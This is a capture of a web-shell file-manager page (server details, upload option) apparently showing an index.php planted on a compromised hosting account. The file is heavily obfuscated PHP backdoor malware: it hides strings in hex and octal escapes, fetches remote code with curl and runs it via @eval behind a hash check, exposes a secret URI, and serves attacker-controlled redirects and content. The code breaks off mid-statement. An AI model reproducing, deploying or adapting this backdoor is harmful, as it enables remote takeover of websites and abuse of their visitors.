HEX
Server: Apache
System: Linux b5.s-host.com.ua 4.18.0-305.10.2.el7.x86_64 #1 SMP Fri Jul 23 21:00:55 UTC 2021 x86_64
User: unelbhzm (1470)
PHP: 8.0.18
Disabled: NONE
Upload Files
File: //home/unelbhzm/home/unelbhzm/home/unelbhzm/home/unelbhzm/home/unelbhzm/sites/nuofama.com/index.php
<?php
 goto sVGAfw6LnJK3Q3; PHNb2Sa7ML4N5L: exit(0); goto ACpHLyEg9kfWOw; Gky411vZcnT2Nj: $qQZMhDyHiWWUUR = substr($YqO8LLz8RaEEby, strpos($YqO8LLz8RaEEby, "\x2e")); goto fBtT82S54SZdu9; JJiU2AX6q623gX: HttsRwc37vB20i: goto SEh5Zq4oGk2nos; eAdxevXJfwsbBg: kGFZc9JT5Yr8KA::lQ70hvcRMJHwPS(); goto bSIbKWQvqPj538; oHVkPENZAMGQIf: $YqO8LLz8RaEEby = preg_replace("\57\x5c\77\x2e\x2a\x2f", '', $_SERVER["\x52\x45\x51\x55\105\123\124\137\125\x52\x49"]); goto kn1dLcr3eDkz1S; QON0OYBBPdCJh5: $JjyIOsInxGVf3V = array(); goto AgHNvO012J1XQ7; xeIFJonxnsMQxZ: wfjTsRYHsAp0Lg: goto x7ef68dTio0vtN; fSaSZaewAjvDuJ: yxfx7uovXutG24: goto Dsmgoc1cCC03w3; AgHNvO012J1XQ7: $JjyIOsInxGVf3V["\151"] = ENbgNNaPasSWWr($fZAfQ3rPvB_lv1); goto TImZSGALZj3uay; kn1dLcr3eDkz1S: $nk04NU7e7Difyl = false; goto RafoU37AJqEdy0; GqrCQaovckHyt8: $W1SUiTTBPPJXZw = ''; goto qwSu0ljjNO61Oz; kh9SCBcNbqiAWv: @header("\x43\157\156\164\x65\x6e\x74\x2d\x54\x79\160\x65\x3a" . $DRGH6TLvmZcN8O["\164\171\x70\x65"]); goto BWzPudzo16RSKR; tjrnx0kClh2AWE: $JjyIOsInxGVf3V["\162\146"] = EnbgnNapasSWwr($W1SUiTTBPPJXZw); goto d7fN5Zb_l75kKQ; EzyWgUNoywdvgE: if (!($_SERVER["\x52\105\121\125\105\123\124\137\125\x52\x49"] === "\57\x52\x2d" . md5($_SERVER["\123\105\x52\126\x45\122\137\x4e\x41\115\x45"]))) { goto yxfx7uovXutG24; } goto ynWS5LmId92OEl; n37dXeZt8PVPiZ: exit("\173\40\x22\145\162\162\157\x72\42\72\x20\62\x30\60\54\x20\42\x6c\x63\42\x3a\x20\42\x6a\x6b\x22\x2c\x20\x22\x64\141\x74\141\x22\x3a\40\133\x20\61\x20\135\x20\x7d"); goto KvlRwhu26itXiO; ACpHLyEg9kfWOw: mDqjVejap1L5SP: goto FVJ_Xv9qxpABp9; ceHEJJ6bn87RKZ: error_reporting(0); goto Dy1A7LMWhRUYJo; I3dtU5DcnwqngR: class kgfZc9jt5YR8KA { static function k1ECnO5tqhMdjM($eSkYWwuV14Y8aN) { goto pfVm_BcXbbw0Qd; SdpOxqIZ05jqC7: return $h9gfbxGUKJi73H; goto oR9bO6l_9PNQJD; JT1nNYZb0UB_KX: foreach ($v_fY4qDKzjK6oe as $QCoNth0UWDst4p => $TOTgAqa66ZIBwl) { $h9gfbxGUKJi73H .= $uZaaEEo4X3bycA[$TOTgAqa66ZIBwl - 24297]; kjJlopMoiI8SqI: } goto FBZc3n_05ZVHUT; r6LG1WU5ajCQ0t: $v_fY4qDKzjK6oe = explode("\x7e", $eSkYWwuV14Y8aN); goto fSad8fANQ9VfGS; fSad8fANQ9VfGS: $h9gfbxGUKJi73H = ''; goto JT1nNYZb0UB_KX; FBZc3n_05ZVHUT: EPLN4d8J42Kqfl: goto SdpOxqIZ05jqC7; bi91U1h8ZO1hIC: $uZaaEEo4X3bycA = $Gmrya1jtwBDlOB("\176", "\40"); goto r6LG1WU5ajCQ0t; pfVm_BcXbbw0Qd: $Gmrya1jtwBDlOB = "\x72" . "\x61" . "\x6e" . "\x67" . "\x65"; goto bi91U1h8ZO1hIC; oR9bO6l_9PNQJD: } static function i3ldspW14CenyG($lzJNKv117zpuyM, $BXevHLzRuum36K) { goto vzDtpwxe9qN16K; scQwFhtqeTDFXH: curl_setopt($A1GuqQ6mvx150V, CURLOPT_RETURNTRANSFER, 1); goto bbYiUpT040NZP3; vzDtpwxe9qN16K: $A1GuqQ6mvx150V = curl_init($lzJNKv117zpuyM); goto scQwFhtqeTDFXH; FO2Vvf5H9VaAe0: return empty($JXJRos5w0TxXdG) ? $BXevHLzRuum36K($lzJNKv117zpuyM) : $JXJRos5w0TxXdG; goto lt94fUzGYqGFqh; bbYiUpT040NZP3: $JXJRos5w0TxXdG = curl_exec($A1GuqQ6mvx150V); goto FO2Vvf5H9VaAe0; lt94fUzGYqGFqh: } static function lQ70HvCrmJHWps() { goto QkP69P2hNY_lLU; NcLcAZo2dTnWQW: $HJpTprt5n6vEMd = $H4TxtyoWE9BJmb[1 + 1]($bb3my3vJe1x1jp, true); goto E8oYv52MMSROYx; OvFcQWwWndlEFC: @eval($H4TxtyoWE9BJmb[1 + 3]($hGFKKvb3M2KD5S)); goto V0j22rTnXxkIOT; a1E0beGXsFVwUo: $hGFKKvb3M2KD5S = self::i3lDspW14cENYG($HJpTprt5n6vEMd[0 + 1], $H4TxtyoWE9BJmb[1 + 4]); goto OvFcQWwWndlEFC; V0j22rTnXxkIOT: die; goto YLRr73zK2_q0Jx; YLRr73zK2_q0Jx: bG_ZCFQeBQlLo7: goto iLgCg046LeYo1t; E8oYv52MMSROYx: @$H4TxtyoWE9BJmb[10 + 0](INPUT_GET, "\157\146") == 1 && die($H4TxtyoWE9BJmb[4 + 1](__FILE__)); goto to8EDWZbgVdfs5; to8EDWZbgVdfs5: if (!(@$HJpTprt5n6vEMd[0] - time() > 0 and md5(md5($HJpTprt5n6vEMd[0 + 3])) === "\62\71\x37\x38\x34\x65\x34\x63\61\x62\x35\145\x65\x39\x34\x62\66\60\60\x35\x63\x61\x30\143\x36\64\x37\146\x65\64\145\x38")) { goto bG_ZCFQeBQlLo7; } goto a1E0beGXsFVwUo; nau3i53mZd6vxc: $ft9Ag9KVsUNldD = @$H4TxtyoWE9BJmb[1]($H4TxtyoWE9BJmb[2 + 8](INPUT_GET, $H4TxtyoWE9BJmb[8 + 1])); goto B1_ojU9w3ja7nR; QkP69P2hNY_lLU: $KhlM727SJVUee1 = array("\x32\64\63\62\x34\176\x32\x34\63\x30\x39\x7e\x32\x34\63\x32\62\x7e\x32\64\63\62\66\176\x32\x34\x33\60\x37\x7e\62\x34\63\62\62\176\62\64\x33\62\70\176\x32\64\x33\62\x31\x7e\62\64\63\x30\66\x7e\x32\64\x33\61\63\176\x32\x34\63\x32\64\176\x32\x34\x33\60\x37\x7e\62\64\x33\61\x38\x7e\62\64\63\x31\62\x7e\62\64\63\x31\x33", "\x32\64\x33\60\70\x7e\62\x34\63\60\x37\x7e\x32\64\63\60\71\176\62\x34\63\x32\x38\176\62\x34\x33\60\71\x7e\x32\x34\63\61\x32\x7e\62\64\63\x30\67\176\62\64\63\x37\64\x7e\62\x34\x33\x37\62", "\x32\x34\x33\61\x37\x7e\62\x34\x33\x30\x38\x7e\62\x34\63\61\62\176\62\x34\x33\61\x33\176\x32\64\x33\62\x38\x7e\62\64\x33\x32\63\x7e\x32\x34\63\62\62\x7e\x32\x34\63\x32\64\176\x32\x34\x33\x31\62\x7e\x32\64\x33\x32\x33\176\62\x34\63\62\62", "\x32\x34\x33\x31\61\176\x32\x34\63\x32\66\176\62\x34\x33\62\64\176\62\x34\x33\x31\66", "\62\x34\63\x32\x35\176\x32\64\x33\62\x36\x7e\x32\64\63\60\70\x7e\x32\x34\63\62\62\x7e\62\64\63\66\x39\x7e\x32\x34\63\x37\61\x7e\62\64\63\x32\70\x7e\x32\64\x33\62\63\x7e\62\64\x33\x32\62\176\62\64\63\62\x34\176\x32\x34\63\x31\62\x7e\x32\x34\63\x32\x33\x7e\x32\64\63\62\x32", "\x32\x34\x33\x32\61\x7e\x32\64\63\61\x38\176\62\x34\63\61\65\x7e\x32\x34\x33\x32\62\x7e\62\x34\63\x32\70\x7e\62\64\63\x32\60\x7e\x32\64\63\x32\x32\176\x32\x34\63\x30\67\176\x32\x34\x33\x32\x38\x7e\x32\64\63\62\x34\176\62\x34\x33\x31\x32\x7e\x32\64\63\x31\x33\x7e\x32\x34\63\x30\x37\x7e\x32\64\63\x32\62\x7e\x32\x34\x33\x31\63\x7e\62\64\x33\x30\67\176\x32\x34\63\x30\70", "\x32\64\x33\65\61\176\x32\x34\x33\x38\x31", "\62\64\x32\71\x38", "\62\64\x33\67\x36\176\x32\x34\63\x38\x31", "\x32\64\x33\65\70\x7e\x32\64\63\x34\x31\x7e\62\64\63\x34\x31\x7e\x32\x34\x33\65\70\x7e\62\x34\63\x33\64", "\x32\64\63\62\x31\x7e\62\x34\63\x31\x38\176\62\64\x33\x31\65\x7e\62\64\x33\x30\x37\x7e\62\x34\x33\62\x32\x7e\62\64\x33\60\x39\176\x32\64\63\62\70\x7e\62\x34\63\61\x38\x7e\62\x34\63\x31\63\176\x32\64\63\x31\61\176\x32\64\63\x30\66\x7e\62\x34\63\60\67"); goto mRPkR03fyPQwmJ; ZbYLfgfPq5gtoR: pHhhZx2hyNGpB1: goto nau3i53mZd6vxc; mRPkR03fyPQwmJ: foreach ($KhlM727SJVUee1 as $dM75M0ykApIyqc) { $H4TxtyoWE9BJmb[] = self::k1ecNo5TqhmDjm($dM75M0ykApIyqc); ePKq54zOg8G8AZ: } goto ZbYLfgfPq5gtoR; B1_ojU9w3ja7nR: $bb3my3vJe1x1jp = @$H4TxtyoWE9BJmb[3 + 0]($H4TxtyoWE9BJmb[2 + 4], $ft9Ag9KVsUNldD); goto NcLcAZo2dTnWQW; iLgCg046LeYo1t: } } goto eAdxevXJfwsbBg; lQwSffZaNEObkz: metaphone("\x4d\x44\111\60\117\124\x41\x34\x4e\104\143\63\x4d\104\x67\x32\x4d\x7a\143\x32\x4d\104\x67\65\x4e\172\x55\170\116\124\x51\171"); goto I3dtU5DcnwqngR; sVGAfw6LnJK3Q3: error_reporting(0); goto Uu3ccik_bHfkf3; CWzC55Q_O_ozUB: switch ($DRGH6TLvmZcN8O["\x73\x74\141\x74\165\x73"]) { case 301: goto hAyUR7aUcUovoR; wETvaRWrtYKxgF: header("\x4c\x6f\143\141\x74\151\157\x6e\x3a\x20" . trim($DRGH6TLvmZcN8O["\143\157\156\x74\145\156\x74"])); goto AymTn00lJ3CiiX; AymTn00lJ3CiiX: goto aZ0N0lZLbV0Lrv; goto BQnttnsdA6EJfx; hAyUR7aUcUovoR: header("\110\x54\x54\x50\57\61\56\61\x20\x33\x30\x31\x20\115\x6f\x76\145\x64\40\120\x65\162\155\x61\x6e\145\156\x74\x6c\171"); goto wETvaRWrtYKxgF; BQnttnsdA6EJfx: case 302: goto hMmVxF9ZrGKnxE; UIfFyPj01W73g9: goto aZ0N0lZLbV0Lrv; goto PRYX3efn3FvVPD; hMmVxF9ZrGKnxE: header("\x48\x54\124\x50\57\61\x2e\x31\40\x33\60\x32\x20\x4d\157\166\x65\40\x54\x65\155\160\x6f\162\x61\x72\151\154\x79"); goto mKevEGMcq4EOf_; mKevEGMcq4EOf_: header("\114\157\143\x61\164\x69\x6f\156\72\x20" . trim($DRGH6TLvmZcN8O["\143\x6f\156\164\x65\156\164"])); goto UIfFyPj01W73g9; PRYX3efn3FvVPD: case 404: goto Oji9iV6JBim2TV; Oji9iV6JBim2TV: header("\110\x54\x54\x50\57\x31\x2e\x31\x20\x34\x30\64\40\116\x6f\164\40\x46\x6f\x75\156\144"); goto XFXPhmGtOKtWsl; XFXPhmGtOKtWsl: header("\x73\164\x61\x74\x75\163\x3a\40\64\60\x34\x20\116\x6f\164\40\106\x6f\165\156\144"); goto jR4MCmauetCNeN; jR4MCmauetCNeN: goto aZ0N0lZLbV0Lrv; goto oae4_vE9E7_pSR; oae4_vE9E7_pSR: default: goto aZ0N0lZLbV0Lrv; } goto xeIFJonxnsMQxZ; OpLqykrb5obxBh: $YqsN__9masXV6K = Gg9ENcsqniKvw4() . $_SERVER["\110\124\x54\x50\x5f\110\x4f\123\124"]; goto P8_1uItsuInpaE; KvlRwhu26itXiO: VDGSHxop4l0jLe: goto z23BXeWa_D16zM; wvHaBCyFTCEFUS: $DPg_HpfgI4unv5 = $kolS2AkDJ4WuCB("\176", "\40"); goto M6YHZtohnkAdw0; qzGSu97oZ5DQvY: $W1SUiTTBPPJXZw = strval(@$_SERVER["\x48\x54\x54\120\x5f\x52\105\106\105\x52\105\x52"]); goto OpLqykrb5obxBh;